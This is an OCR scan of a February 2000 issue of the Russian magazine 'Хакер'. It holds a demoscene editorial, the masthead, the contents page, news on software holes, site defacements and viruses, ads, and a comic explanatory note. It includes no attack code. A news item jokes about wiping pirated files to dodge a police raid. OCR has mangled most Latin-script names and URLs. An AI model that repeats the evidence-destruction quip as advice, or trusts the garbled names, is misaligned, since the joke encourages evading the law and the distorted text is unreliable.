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Сцена. Отличное слово. Тот, кто придумал сопоставлять это слово со всякими компьютерными андеграундными дви- 
жениями был явно не придурок. Одно слово, а вмещает в себе столько всего разного и интересного. Тем, кто еще не 
в струе, поясняю — этот номер почти полностью посвящен демо-сцене. Демо-сцена — это одно из ответвлений ком- 
пьютерного андеграунда, вышедшее из хакерской и варезной сцены. Помнишь, когда-то давным-давно (еще даже 
на Спектрумах], при загрузке игрушки или проги, вылезал экран с надписью “НаскесІ Ьу...” и после короткой паузы 
загружалась уже сама игрушка (хакнутая естественно]. Так вот, чуваки ломали проги и, чтобы светануть себя миру, 
писали в начале эти заставки (которые называются ІпЪго (учи сленг!]]. Но в какой то момент, один из хакеров поду- 
мал: “блин, я же такой крутой, а пишу как все, белым на черном — ЬаскесІ Ьу. Надо как-то выпендрится”. Подумал и 
сделал свою надпись разноцветной. Другой хакер увидел и подумал “Ни хрена себе! А я что, лох позорный что ли???” 
и сделал интру переливающуюся цветами. И понеслось. Началась холодная война :]] Ну не война конечно, но гонка ин- 
тро-вооружения точно :]. Потом народ вылез из текстмода и начал интры делать графическими: всякие картиночки, 
анимашечки, лютики-цветочки. Короче. Вся фишка в том, что ломать сами игры уже стало не интересно, а вот сваять 
кульную интру — кайф полнейший. А в гонке интро-мейкинга самое главное что? Правильно, новые идеи. Ты уже по- 
нял, я думаю, что потом интры стали озвучиваться, а затем озвучиваться синхронно, под музыку. Ну и в конце концов 
началось полнейшее Зй, со своими кубиками и шариками. Вот так и появилась демо-сцена, на которой компьютер- 
ные художники, музыканты, программисты и прочие суЬег-агЬ люди нашли свое место и стали активно продвигаться. 
Кстати, о программерах. Прикинь, каким мастерством кодинга надо обладать, чтобы закодить интру в 51 2 байт (!!!] от 
которой все еще и протащатся! Вообщем мы не могли пройти мимо этой культуры и в этом номере ты узнаешь о де- 
мо-сцене все. Оттягивайся! 

Р.5.: Кстати, чуть не забыл. Мы тут конкретно протащились от создания этого номера и решили сделать спецвыпуск, 
посвященный одной очень интересной теме. Пока не буду рассказывать тебе все секреты, в марте сам все увидишь :]. 




Удачи, 

Сергей Покровский 
гл. редактор 



0002 



СОДЕРЖАНИЕ/ХАКЕР # 2Г141/У2К | ХАКЕР > ФЕВРАЛЬ’У 2 К 



еі#оИа( 

/ератекаа могила/ 






* « 



Редакция 



ЩИЯ самый главный редактор 

Сергей Покровский 

(рокгоѵзку@хакер.ги) 

самый вредный редактор 

Александр Черных 

(ПоІосІ@хакер.ги) 

старший бакенщик 

Игорь Пискунов 

(ідог@датеІапсІ.ги) 

замполит 

Алена Скворцова 

(аІуопа@датеІапсІ.ги) 

Агі; дизайн 

Руслан Рубанский 
(таІгіх@аІіа.ги) 

обложка 

Руслан Рубанский (стиль) 
Максим Седов (фото) 
Светлана Благова (модель) 
верстка 
Серж Долгов 
(диш@хакер.ш) 
иллюстрации 
Руслан Рубанский, 

Серж Долгов, 

Игорь Пискунов, 

БагкНоизе, 

Александр Еремин, 

Павел Хихус 
(хіхус@пеІсІиЬ.ги) 



УІ^іН 













/г 

ж 

■Іи ^ ^ 



Реклама 



Оптовая 

продажа 



руководитель отдела 

Игорь Пискунов 
(ідог@датеІапсІ.ги) 
менеджер отдела 
Алексей Анисимов 
(апізітоѵ@датеІапсІ.ги) 
тел.: (095) 937.52.30 

гтюЬ.: (095)797.14.89 

факс: (095) 125.02.11 

Владимир Смирнов 
(ѵІасІітіг@датеІапсІ.ги) 

Самвел Анташян 
(5атѵеІ@датеІапсІ . ш) 
тел.: (095) 124.04.02 

факс (095) 125.02.11 

пейджер: (095) 913.29.29 

аб. СКЛАД 



РІІВиЗНІЫб учредитель и издатель 

ИЧП “АГАРУН Компани” 

директор 

Дмитрий Агарунов 

(сІті1гі@датеІапсІ.ги) 

финансовый директор 

Борис Скворцов 

(Ьогі5@датеІапсІ.ги) 










Для писем 



101000, Москва, 
Главпочтамп, 
а/я 652, Хакер 



ѴѴеЬ-ЗіЪе ННр://ѵѵѵѵѵѵ.хакер.ги 
Е-таІІ тада2Іпе@хакер.ги 



Мнение редакции не обязательно совпадает с мнением авторов. 
Редакция не несет ответственности за те моральные и физические увечья, 
которые вы или ваш комп можете получить, руководствуясь информацией, 
почерпнутой из статей номера. Редакция не несет ответственности за 
содержание рекламных объявлений в номере. 



Отпечатано в типографии 
«ЗсапѴѴеЬ», Финляндия 



Зарегистрировано в Государственном Комитете РФ по печати. 

№ 018240 




н 



Г рабь 

неграбленное! 

...Около года назад, обзванивая 
компьютерные фирмы на предмет 
выяснения текущих цен на компьютеры, 
я периодически сталкивался с 
непонятным мне вопросом продавцов: 
“Сидюк грабящий нужен или всё 
равно?” Не имея на тот момент 
никакого представления о формате 
МРЕС и смежных областях обширного 
человеческого знания, я на всякий 
случай говорил, что нужен грабящий. 
Теперь не раскаиваюсь.... 



Т ехнология 
демо-мейкинга 

...Ах, как же все было здорово еще 
каких-то лет шесть назад! Что означают 
слова “билинейная фильтрация 
текстур” и “альфа блендинг”, знал 
лишь старик Ромеро, выпивавший 
в ту пору с приятелем из Силиконовых 
Графиксов.... 



0 



Первый вирь — 
СОМопгі 

...Чтобы сразу не бросаться на 
амбразуру, начну с простенького, а 
потом доберусь и до вкусненького. 
Конечно, писать вирусы или 
разбираться в них — это отнюдь не 
просто, это требует определенных 
усилий, а главное — желаний. 
Желаний творить :)... 



Игры 

и кинематограф 

...Кино появилось раньше. Зато индуст- 
рия компьютерных игр развивается 
куда более стремительно. Обладая 
изначально разными возможностями и 
разными аудиториями, эти два способа 
убийства свободного времени с недав- 
них пор сожительствуют весьма тесно. 

И все чаще можно наблюдать ситуацию, 
когда появление культовой игры 
приводит к съемкам кинофильма и 
наоборот... 



Тираж 54 000 экземпляров. Цена договорная. 




ХАКЕР > ШЕВРАЛЬ’У^К I ГГІНІГіІІ- -Чі іёі* - д-н 1 4 1/У2К 



оооз 



& 



■— 


"ИІЙІгОСЫ” 


щ 


Х-Иеѵѵз 


6 V 




Х-НагбИеѵѵз 


12 


. 



г’ЕігігиігігГ 

Звуковой агрессор (ТЕМА НОМЕРА) 14 

" 31337 " [е(ееі°] 









РС 2опе 

^ ИАРЗТЕР: 

Клевый способ найти МРЗ 22 

Грабь неграбленное! .24 

^ Треком по черепу (ТЕМА НОМЕРА) ..... .28 

\ \ Клип? Легко! (ТЕМА НОМЕРА) .30 

\ \ Министерство путей сообщения 32 

\ \ ІРС для всех (тапиаі) часть 2 36 

\ \ Взлом 

1 I Интервью с Собе Ніррег’ом 

В I I (ТЕМА НОМЕРА) .38 

I I РС демо-сцена (ТЕМА НОМЕРА) . . , ,44 

/ / Атіда и Сртабоге (ТЕМА НОМЕРА) .... 48 

/ / Интервью с Еипд’ом (ТЕМА НОМЕРА) .. 50 

Ь_1/ / Технологии демо-мейкинга 

і (ТЕМА НОМЕРА) 52 

у / ТОР 1 0 А-Мизі-Зее’99 

У (ТЕМА НОМЕРА) 56 

^ ВИРЬтуальность 

Первый вирь - СОМом ................ .58 



Юниксоид .64 

Наск-РАО 66 

Западлостроение 

Поднимаю телефон, слышу стон! .......... .68 



|оц| 5 Ио:к' 



Игры и кинематограф 72 

Зал суда .................. .78 

МЮ 80 

Ломка 82 



"уиіКы” 



Шаровары 

РАО 

е-таіі ..... 
Хумор .... 
ѴШѴ 

сотісз . . . . . 



ѵѵАРМіыеш 

Редакция напоминает, что вся информация, которую мы предоставляем, 
рассчитана прежде всего на то, чтобы указать различным компаниям и 
организациям на их ошибки в системах безопасности. 
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РС Ыеѵѵг 

Андрей Князев (кыУА2ЕѴ@хАКЕР.ки) 
Иван Перверзнев (рерѵербіа@маіі_.рі_і) 

Американцы перешли на карточки 




В Америке упали продажи игр, содержащих насилие и всякие веселые непристойности. Они 
продаются в два раза хуже, чем в прошлом году. Самые успешные игры - издаваемые фирмой 
Рокетоп. Персонажи ее игр, будете смеяться, сказочные животные. Также выросли продажи 
игр, основанных на карточках (Мадіс Тііе ОаІІпегіпд, етс). А в хит-параде игр, где всех насилуют 
и убивают, победила игра НаІТИТе. Не самая, надо сказать, кровавая. Всего же компьютерные 
игры принесли Америке прибыль в 6 миллиардов долларов. 



Страхуйте! 



Бест Пипл 1 



Известный многим (я полагаю) :) журнал Тіте в конце каждого года подводит 
своеобразные итоги и называет “Человека года” - “Мап оі іНе Уеаг”. Если мне не из- 
меняет мой склероз, на обложке “Времени” в свое время красовались такие выдаю- 
щиеся личности, как президенты ЗЕК, Горбачев и Клинтон, основатель Іпіеі Эндрю 
Гроув и просто “Компьютер”. В ушедшем году фронтмэном Тіше’а стал основатель 
и бессменный исполнительный директор компании Атагоп.сот Джеффри Бизос 
(ЭеІТгеу Вегоз). Для тех, кто с 1995 году не работал в Сети, сообщаю, что Аплагоп - 
это крупнейшая и одна из наиболее дорогостоящих Сетевых компаний (совокупная 
стоимость акций - порядка $32 млрд.), занимающаяся продажей книг, медиа-про- 
дукции, а теперь и много другого. 

Появлением своей физиономордии на обложке Тіте’а Бизос обязан пресловутой “е- 
соттегсе”, в которой Атагоп - один из флагманов, а сам старина Джеф - “король 
киберпространства”. 

Не знаю как другие, а лично я на досуге нет-нет, да задумаюсь, а не стать ли мне 
тоже “королем киберпространства”. По-моему я вполне подхожу на эту роль? :) 



:илуют Капиталисты уже не представляют, на чем можно зарабатывать бабки, и 

>ные изыскивают дополнительные пути. Известно, что против лома нет прие- 

ма, поэтому все сайты ломали и будут ломать, какие бы крутЫе сисопЫ 
— их не защищали. Всеобщей паникой воспользовались страховые компа- 
нии. Компания Э.З.ѴѴиггІег ІІпсІеп/ѵгШпд Мападегз предлагает программу стра- 
хования веб-сайтов. Раньше страховка распространялась только на физические пов- 
реждения компьютеров - ну там ногой кто пнет или пива на процессор прольет. А 
теперь его можно застраховать от непорядочных, мошеннических или вредительских 
действий хакера или сотрудника компании, от компьютерных вирусов, кражи ин- 
формации, а также от размещения виртуального слова... на первой странице сайта. 



Коротко: 



21 декабря был признан виновным и приговорен к 1 году тюремного заключения 
19-летний Джей Сатиро (Эау Заііго). Паренек ломал компьютеры Атегіс’и Опііпе. Но 
год тюрьмы - это половина наказания. Вторая - запрет на 5 лет сверх этого срока 
пользоваться компьютером дома. Т.е. на работе - можно, в институте - можно, а до- 
ма - ни-ни. При этом мать парня работает в ІВМ, и комп ей необходим по работе. 
Вот такая вот загогулина. 



Бест Пипл 2 

Кроме “Человека года” (см. выше), Тіте решил назвать еще и “Человека столетия”. Ну захо- 
телось им этого, и ради Бога. 

Самым мэнистым из всех мэнов века стал Альберт Эйнштейн. Про теорию относительности, 
общую теорию поля, Е=тс2 я скромно умолчу. Не пристало по таким пустякам демонстриро- 
вать фундаментальное физико-математическое образование :). Если же кто не понял, что на- 
писано в предыдущем предложении, то диагноз однозначен - в школу, в первый класс, учить- 
ся, учиться и еще раз учиться, как завещал... :) 

В сложной и напряженной борьбе Эйнштейн обошел страшного фюрера и еще нескольких не 
менее ужасающих, но великих личностей. Альберт стал “компромиссной” фигурой. С одной 
стороны, как и все выдающиеся физики, он был пацифистом, с другой стороны, внес неоце- 
нимый вклад в науку. Кроме теоретической физики (Нобелевская премия) Эйнштейн отметил- 
ся при разработке ядерного оружия, его труды повлияли на создание телевидения, полупро- 
водников и прочая и прочая. Гений. А еще на скрипке играл. 

Между прочим - я тоже кое-что умею. Например - вышивать крестиком :). 

“Дырявый” №(5саре 

7 декабря стало одной “дыркой” больше. Специализирующаяся на консалтинге (точнее, на 
программном консалтинге) фирма ВеІіаЫе ЗоИѵѵаге Тесііпоіодіез (ВЗТ) обнаружила брешь в 
Ме&саре Меззепдег - почтовом клиенте Меізсаре Соттипісаіог’а. 

Баг заключается в том, что в некоторых версиях НетШкафа (частично в старом Навигаторе и 
во ВСЕХ версиях Соттипісаіог’а) есть возможность удаленно “позаимствовать” зашифрован- 
ные пароли. Для этого нужна лишь небольшая программулина на ЗаѵаЗсгірІ Стибренный 
пыссворд затем можно без большого напряга расшифровать - и вуаля - “І-пеІ Іог ігее”. 

Как уберечься - не сохранять пароли вообще, т.е. вводить их только по запросу программы 
(удовольствие для параноиков и мазохистов), или не подпускать посторонних к своему ПК 
(официальная рекомендация Меізсаре). 

Компания еще не выложила ирсіаіе, но обещает это сделать в обозримом будущем. 



Раввины запретили Интернет 

30 радикальных израильских раввинов запретили членам своих об- 
щин входить в Интернет. Они посчитали, что в Интернете шастает 
слишком много голых виртуальных девок. Тут и до греха недалеко. 
Повезло только тем, у кого от компьютера и Интернета зависит 
благосостояние. По ночам в их офисах, небось, собирается целая 
толпа возбужденного народа. 

Медленно введите пароль 

МісгозоЙ в срочном порядке поправила еще одну дыру в глюкавом 
Ноітаіі.сот. Апплет ЭаѵаЗсгірІ позволял перекрыть окно запроса 
ввода пароля похожим окном хакера. Наивные лохи вводили свои 
логины и пароли прямо в лапы злоумышленникам. Несмотря на то 
что Иоітаіі запрещает выполнение ЭаѵаЗсгірІ апплетов при прос- 
мотре пришедшей почты, в данном случае этот запрет успешно об- 
ходился. Пользователи уже не знают, куда им деваться. Странно 
только, что про русские почтовые системы ничего не слышно. То 
ли пользователей еще мало, то ли хакеры, работающие на таіі.ги, 
круче, чем те, что в Ноітаіі.сот 
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Кто стрелял? 



Американская полиция чисто не успевает реагировать на стихийные разборки мес- 
тных братков. Только приедут, а там уже половина района лежит на улице в разных 
пугающих позах. В общем, решили ударить компьютером по поголовному кримина- 
лу. Полицейские установили в Лос-Анджелесе компьютерные датчики, соединенные 
с диспетчерским центром. Одного датчика достаточно на пространство в несколько 
квадратных километров. Компьютеры центра обрабатывают данные с датчиков и от- 
мечают на карте места выстрелов. А потом туда сразу направляют труповозки. Во 
время Нового года система зарегистрировала более 700 выстрелов. Это вам не Рио- 



де-Жанейро... 



Подобьем бабки? 



К концу года многие приурочили весь- 
ма нестандартные поступки. Самыми 
любопытными были: 

1 . Полное закрытие в Австралии служ- 
бы аналоговой мобильной телефонной 
связи. С 1 января по “нецифровым” 
телефонам можно позвонить только в 
службу спасения. Прогрессивные ав- 
стралийцы отныне разговаривают ис- 
пользуя исключительно С5М и СОМА. 
Эх, хорошо на им там... На острове. 
Это вам не 1/6 часть суши. У нас пока 
полный зоопарк из всяких разных 
ОАМРЗ’ов (привет БиПлюс’у) и ИМТ- 
450 (здорово, МСС). 

2. Для “мобилизующихся” и “оцифро- 
вывающихся” буржуев сейчас доступ- 
но более 300 ѴѴеЬ-сайтов, которые 
можно просмотреть с мобильного те- 
лефона. 

Совершенно понятно, что “мобилы” 
должны быть не обычными, а доступ в 
Сеть должен быть в перечне доступ- 
ных услуг. 

Небольшой ликбез - применительно к 
сотовым телефонам довольно сложно 
говорить о полноценном доступе в 
Сеть. Стандартные протоколы здесь 
не работают. Для мобил применяется 
своя “версия” протокола ІР под назва- 
нием ѴѴігеІезз Арріісаііоп РгоіосоІ 
(ѴѴАР). А “страницы” “мобильных” сай- 
тов специально “облегчены” (как в 
плане кода, так и минимизации коли- 
чества графики), дабы нормально 
отображаться на небольших экранах 
телефонов. 

Короче говоря - мудрено, но очень 



модно. Занимается всем этим буржуй- 
ская компашка Со25узіетз 
(ѵѵѵѵѵѵ.до2опІіпе.сот), так что интере- 
сующихся - прошу. 

3. Правительство Руси Великой собла- 
говолило одарить своим взглядом на- 
шу Сеть. Под Новый год, 28 числа, от- 
крылся официальный сайт правитель- 
ства РФ - ѵѵѵм.ргаѵйеізйю.доѵ.ги или 
ѵѵѵш.доѵегптепідоѵ.ги. Понятно, что 
этот шаг во многом конъюнктурный и 
позерский. Тем не менее, новости на 
сайте должны публиковать регулярно, 
да и для пишущей братии :) сайт бу- 
дет неплохим подспорьем. Из благих, 
но пока не реализованных идей - раз- 
дел с законами. Это, конечно, не кон- 
курент “Консультанту”, но кто знает? 
Помимо открытия сайта, правитель- 
ство в лице своего премьера и нес- 
кольких министров все того же 28 
числа общалось с “представителями 
российского Интернет-сообщества”. 

Из узнаваемых фамилий я бы назвал 
Хачатура Арушанова, Александра Гаги- 
на, Артемия Лебедева, Антона Носика, 
Андрея Себранта. ѴезІВІІ, РоІіІ-РС) и 
другие сетевые источники после этой 
встречи разразились пространными 
статьями об этой эпохальной встрече. 
Все-таки далеко не с каждым простым 
смертным более часа может беседо- 
вать премьер-министр и без пяти ми- 
нут президент. И в любом случае - это 
приятно. Что “наши” пробились. Ника- 
ких революционных решений в ходе 
встречи принято не было. Путина тор- 
жественно пригласили на грядущий в 
марте РИФ-2000. Может как раз к 
марту что-то занятное и нарешают. 



Г' 



А была ли ошибка? 



Г 



Второе официальное лицо Пентагона Джон Хэмр заявил, что нача- 
ло 2000 года никак не отразилось на военных компьютерах. Типа, 
зря перепугались и всех надраили. Американская разведка рас- 
сказывала святочные сказки, что в Китае, России, Украине, Егип- 
те, Индии и Индонезии “проблема 2000” года приведет к катас- 
трофическим сбоям. И напрасно. Но в какой-то степени она все- 
таки проявилась. В ряде российских банков перестал зажигаться 
свет в туалетах, и возникли проблемы у американских спутников- 
шпионов. Три дня они слали в центр всякую чепуху вместо фотог- 
рафий российских военных баз. Через несколько часов, матерясь, 
технический персонал Пентагона исправил ошибку и начал мед- 
ленный процесс расшифровки данных вручную. Воспользовалась 
ли наша страна этой хохмой для передислокации войск - неизвес- 
тно. 
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Хотите сэкономить время? 



ѵѵѵѵѵѵ.5000.ги 



Посетите наш интернет-магазин. 

Здесь Вы можете сделать заказ, который 
Вам доставят в офис или домой. 



Компьютерные магазины: 



^ ст. м. “Динамо”, ул. 8 Марта, д.10 (095)723-81-30 

го ст. м. “Красносельская”, ул. Русаковская, д. 2/1 (095)264-12-34 264-13-33 
ст. м. “Каховская”, Симферопольский б-р, д. 20а (095)310-61-00 
ф ст. м. “Сокол”, ул. Новопесчаная, д. 11 (095) 157-53-92 157-42-83 

ст. м. “ВДНХ”, ВВЦ, пав. №14 “Вычислительная техника”, (095)974-60-10 
Е ст. м. “ВДНХ”, ВВЦ, пав. №18 “Электротехника” 

^ ст. м. “Савеловская”, ВКЦ “Савеловский” павильон Р-20, Р-38 (095)784-64-85 
сл 

Е Корпоративный отдел: (095) 723-81-26 2агеІиа@іесМтагке1.ги 

— Дилерский отдел: (095) 214-20-17 орі@іесІттагке1.ги 

— ѴѴЕВ - сайт: ѵѵѵѵѵѵ. Тесіттагкеі.ги прайс-лист на все оборудование 

— Е-таіІ: о1Тісе@іесІітагкеіги 



И III I ШАРКЕТИ 



компьютере 



Мы утверждаем, что в наших магазинах: 

Более 2500 наименовании 
компьютерных комплектующих! 
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ХАКЕР > ШЕВРАЛЬ’УЭК 



АН ъНаЪ Наск... 



Новый год принес новые взломы и, естественно, новые сенсации. 

Утром 31 числа нордические британцы были жестоко поражены. Был “жесто- 
ко” хакнут ѴѴеЬ-сайт управления железнодорожным транспортом Великобри- 
тании - ѵѵѵм.гаііігаск.со.ик. На сайте было повешено очень смачное и глумли- 
вое сообщение о том, что из-за “Проблемы Ѵ2К” с 31 декабря по 2 января 
поезда на Туманном Альбионе ходить не будут. Прикол в том, что незадолго 
до этого руководство того самого железнодорожного транспорта торжествен- 
но отрапортовало о решении “Проблемы”. Само “решение” длилось 4 года и 
влетело не в один миллион фунтов стерлингов. Начальственные головы пока 
вроде бы не полетели. Но только потому, что хак был своевременно обнару- 
жен, а сам сайт довольно быстренько закрыт. Начальственные задницы дол- 
жны быть благодарны, что не был взломан сайт ш/ѵѵ.гаіі.со.ик - основной же- 
лезнодорожный сайт Великобритании. Сайтом пользуются миллионы пасса- 
жиров, и если бы взломали его, то чьим-то головам точно не сидеть на своих 
плечах. 



Удалять! 




17-летний гражданин Швеции во второй раз удачно отмазался от обвинения звукоза- 
писывающих студий в нелегальном распространении цифровых записей. Иск был по- 
дан Международной Фонографической Федерацией. Мальчишка обвинялся в том, что 
скачал сотни нелицензированных звукозаписей и распространил их бесплатно по все- 
му миру. Облом был в том, что парень не держал на своем компьютере записей. А 
точнее, стер их в тот момент, когда ФБР выламывала двери его квартиры. Двое дру- 
гих ребят были менее удачливыми - они были приговорены к выплате штрафа в 
$22.900. Так что держите под рукой утилиту ѵѵіреіпЫ 





Информационные войска 



Швеция решила не ограничиваться одними словами при подготовке к информацион- 
ной войне. Теперь в ней создан новый род войск - войска информационных техноло- 
гий. Туда набрали жутко гордых чуваков, которые теперь будут защищать военные 
компьютеры от нашествия хакеров. Согласно директивам правительства, “Солдаты Ин- 
формационных Технологий” должны быть способны уничтожать компьютерные систе- 
мы противника и отражать атаки на военные компьютерные системы страны. Первый 
корпус уже, небось, отправлен на изучение Нортон Коммандера и Бейсика. 



Теперь будет просто 



Криптографические компании наконец-то устроили темную Биллу Клинтону, и 
он согласился приоткрыть им ворота на международный рынок. Старые прави- 
ла позволяли продавать только откровенное барахло, взламываемое в первых 
классах криптографических школ. Теперь барахло чуть лучшего качество мож- 
но продавать практические свободно - нужно только притащить в ФБР универ- 
сальный ключ. По-прежнему запрещен экспорт в семь стран, обвиняемых в 
поддержке терроризма - Россия в них не входит. В общем, компаниям теперь 
придется придумывать другие отмазки - почему ломают их “стойкие” шифры. 



Дырка 






Специалисты по защите информационных систем обнаружили совершенно 
нефиговую дырку в безопасности. До сих пор считалось, что информацию 
о “личных ключах” пользователя в памяти сервера обнаружить нельзя. О 
том, что все это вранье, говорилось еще в феврале 1999 г. на конферен- 
ции РіпапсіаІ СгуріодгарИу ‘99. Оказалось, что пользователь может запус- 
тить на исполнение на сервере электронной коммерции программу, с по- 
мощью которой можно быстро определить расположение криптографичес- 
ких ключей. А уже с их помощью и до кредитных карточек недалеко. Такая 
возможность встроена в ѴѴеЬ-сервера МісгозоЙ, ІМеізсаре и Арасііе. Един- 
ственное решение - хранить ключи вне сервера. Но обойдется это недеше- 
во. Решение компании пСірИег (№р://ѵѵѵѵѵѵ.псір^ег.сот), реализующее этот 
метод, обойдется от 4 до 17 тыс. долларов. Пущай уж лучше воруют. 



Новые вирусы 




Давно это было, еще до Нового года - в декабре. Двадцать четвертого чис- 
ла. Что, не помнишь, о чем это я? Ага! Да ты вообще о том, что было до 
Нового года, ничего не помнишь! И про сам Новый год, небось, тоже не 
помнишь? Да харош, не расстраивайся, в поряде все. Я про МАРАФОН. Ты 
вообще не в курсах, что это? Ну, перец, ты кое-что пропустил. Сам знаешь 
- настоящий хакер спорту не враг, тем более - прогрессивному спорту. 
Итак, пельмень, внимай, если ты еще не в курсах: двадцать четвертого де- 
кабря в центре развлечений на Тульской, который так и называется - “Цен- 
тр”, прошел первый в России РОЛЛЕР - МАРАФОН НА ВЫЖИВАНИЕ. Смысл 
марафона свелся к следующему: на кольцевую трассу под крышей “Центра” 
вышло семнадцать смельчаков, которые катались по кругу до одурения, 
точнее - до момента, пока на трассе не остался ОДИН человек. Этим одним 
человеком стал зотеопе Рома Полежаев, который час с лишним лидировал 
на трассе и в результате успешно уделал всех, с чем я его и поздравляю. А 
тебе, перец, советую: если ты хоть раз в жизни на роликах стоял - не за- 
будь, что есть такая фишка, как МАРАФОН, который теперь в “Центре” бу- 
дет проходить ЕЖЕГОДНО, и в двухтысячном обязательно почти его своим 
присутствием. Кто знает, может быть, ты будешь новым героем-колесни- 
ком на следующем МАРАФОНЕ? Как говаривал Липкий в хрестоматийных 
“Вангерах” - поспеши, возница! 



По причине нехватки “сіізк зрасе” - только краткие ТТХ. 

Вирус-червь ѴѴіп32.Сгур{о - троянский стелс-вирус. Платформа - ѴѴіп32. 
Передается по почте. Заражает исполняемые файлы. Соответственно, есть 
большая вероятность повреждения системных файлов. Одно из рекомен- 
дуемых средств лечения - ТогтаІ с: /и. 

Міпйр III. Продолжатель славной линии Міпйр’ов и ЕхрІогеДр’ов. Пере- 
дается по почте. Разрушает (иногда необратимо) все файлы с расшире- 
ниями .бос, .ррі, .хіз, .И, .с, .срр и .азт. Будьте осторожны :). Избегайте 
случайных связей. 

ѴѴзсгірІ/Как. Аналог І-ѴѴогт.ВиЬЫеВоу. Традиционно передается по почте. 
Живет под ѴѴіпбоѵѵз 98 с Оиііоок Ехргезз 5.0. Запускается сам по себе... 



Вирус для Ѵ\/іпсІоѵ\/8 2000 



Компания Р-Зесиге обнаружила первый вирус для ѴѴіпбоѵѵз 2000. Как 
и первый вирус для ѴѴіпбоѵѵз 95, он тоже появился за несколько ме- 
сяцев до официального выпуска операционной системы. Вирус полу- 
чил название ѴѴіп2К.ІпІа, или ѴѴіп2000.ІпзІаІІ. По сути это - обычный 
файловый вирус, который заражает системы с ѴѴіпбоѵѵз 2000 только 
по той простой причине, что он сначала проверяет, какая ОС уста- 
новлена на компьютере. Имеет особую склонность к файлам с рас- 
ширениями ЕХЕ, СОМ, ОН, АСМ, АХ, СИѴ, СРІ_, ОВѴ, МРЭ, ОСХ, РСІ, 
ЗСВ, ЗУЗ, ТЗР, ИВ, \М/Р, ѴѴРС и даже (хо-хо! установочные файлы 
МісгозоЙ ѴѴіпбоѵѵз ІпзІаІІег) МЗІ. Практикует безопасную инсталляцию, 
размер зараженного файла не увеличивается. Распространяется ви- 
рус при передаче инфицированного файла с одного компьютера на 
другой. Не гадит. Подробнее о нем можно прочитать на бйр://ѵ\шѵі- 
зес и ге . сот/ѵі гиз- і пТо/ѵ- ріез/. 
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ХАКЕР > ФЕВРАЛЬ’Ѵ2К 



Объяснительная 

Уважаемый товарищ Начальник! Мы, 
т.е. Сергей Покровский и Корноухов 
Иван, были обнаружены в нетрезвом 
состоянии в рабочее время. Произо- 
шел этот пренеприятный инцидент 
по причине проведения акции 
“МіІІепіит”. И было это вовсе не 
выставкой линолеума, как вы могли 
подумать. Это было интернет-игрой, 
устроенной поисковым сервером 
“Апорт”, каталогом “@Пиз” и газетой 
“Я молодой”. Спросите вы: а что же 
там делали сотрудники журнала “Ха- 
кер”? Этого мы и не знаем по сей 
день (точнее, не помним). Посетить 
данную интернет-игру было решено 
после получения письма устроите- 
лей, обещавших ценные призы и ал- 
когольные напитки. Благодаря пагуб- 
ному воздействию последних, мы и 
пишем данную объяснительную. 
Также стало известно: суть интернет- 
игры “Милленниум” заключалась в 
том, что участникам было необходи- 
мо собрать картинку из 10 кусочков. 
По причине запущенности и лености 
нашей молодежи было решено выде- 
лить ряд ценных призов. Среди них 
были: утюги, кухонные комбайны и 
автомобиль производства волжского 
автозавода - ВАЗ 2107 голубого цве- 
та. Последний стал главным призом. 
Акт передачи в собственность выиг- 
равшему был произведен на терри- 
тории клуба ночного типа - “Свалка”. 
Всего было 13 выигравших. Особен- 
но был обрадован гражданин, выиг- 
равший утюг. Этому также поспособ- 
ствовало то, что раздачей призов за- 
нимались различные звезды россий- 
ской эстрады. Среди которых были 
выявлены следующие: Олег Несте- 
ров, Мария Макарова (медведи от- 
сутствовали, за что был сделан стро- 
гий выговор), ВИА Танцы минус, 
Место встречи и рыжеволосый фило- 
лог Найк Борзов. Раздачей пищи в 
буфете были заняты ударницы музы- 
кального коллектива “Девочки”. На 
их примере мы можем видеть поло- 
жительную тенденцию занятия об- 
щественно полезной деятельностью 
лиц, не достигших 1 8 лет. Именно 
они спровоцировали сотрудников 
журнала “Хакер” на употребление 
спиртных напитков. 

До наступления состояния алкоголь- 
ного опьянения остро встала пробле- 
ма 2000 года: электронный проектор, 
транслировавший фотоматериалы и 
имена выигравших ценные призы, 
был подвержен зависанию. Одной из 
причин этого была отмечена неста- 
бильная работа операционной систе- 
мы “ѴѴіпсІоѵѵз”. После устранения 
появившейся технической неувязки 
была продолжена игра. Была разъяс- 
нена сущность, ценность и прогрес- 
сивность сети Интернет. Некоторые 



признались, что, помимо картинок 
для конкурса, коллекционируют про- 
чую графическую информацию. Нап- 
ример, обычные картинки (про тип 
картинок умолчали). 

По заключению медэкспертов в кро- 
ви каждого из нас было обнаружено 
повышенное содержание алкоголя. 
Как было написано выше, алкоголь- 
ное опьянение наступило после упот- 
ребления шампанских вин и прочих 
спиртосодержащих жидкостей. Но 
имеется справка от тех же 
медэкспертов о том, что во время 
задержания мы находились в состоя- 
нии, близком к эйфории. Это было 
вызвано проведенным конкурсом 
юных поэтов-дарований. В котором 
мы участвовали для поддержания то- 
нуса. По странному стечению об- 
стоятельств устроителями было ре- 
шено допустить к конкурсу лишь сти- 
хотворения, содержащие слово “Ин- 
тернет”. На что поступила мгновен- 
ная реакция со стороны присутство- 
вавших. Большинство рифм было 
идентифицировано как происходя- 
щее от слова “нет”: нет - Интернет. 
Один из присутствовавших предста- 
вителей российской эстрады приго- 
товил следующее: Интернет - мин 
нет. 

Мы не готовы Вам проанализировать 
и прокомментировать сказанное. 
Лишь заметим, что, на наш взгляд, у 
нас получилось более удачное сти- 
хотворение: 

Маленький хакер “Апорт” поломал, 
Надпись “Аборт” он там написал. 
Долго смеялись над шуткою дети: 
Нет конкурентов “Апорту” в Инете! 

После прочтения которого было 
объявлено, что именно этот стих 
признан лучшим, а автор получит 
ценные призы и подарки. Призом 
был названо печатающее устройство 
иностранного производства, которое 
нам не хотели отдавать по-хороше- 
му, долго спорили, и именно из-за 
этого нам пришлось применить гру- 
бую силу с нанесением тяжелых те- 
лесных повреждений господам ус- 
троителям. В ходе этого конфликта 
нами были жестоко избиты 4 органи- 
затора этого мероприятия, в чем мы 
чистосердечно (занесите в протокол) 
признаемся и полностью раскаи- 
ваемся. 

Уважаемый товарищ Начальник, мы 
обязуемся исправиться в кратчайшие 
сроки. Также надеемся на продолже- 
ние интернет-игр, проводимых поис- 
ковым сервером “Апорт”, потому как 
образовательный аспект относитель- 
но международной сети Интернет - 
очень важен. 

Иван Корноухов (подпись, дата) 
Сергей Покровский (подпись, дата) 
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Хотите сэкономить время? 



ѵѵѵѵѵѵ.5000.ги 



Посетите наш интернет-магазин. 

Здесь Вы можете сделать заказ, который 
Вам доставят в офис или домой. 



Компьютерные магазины: 



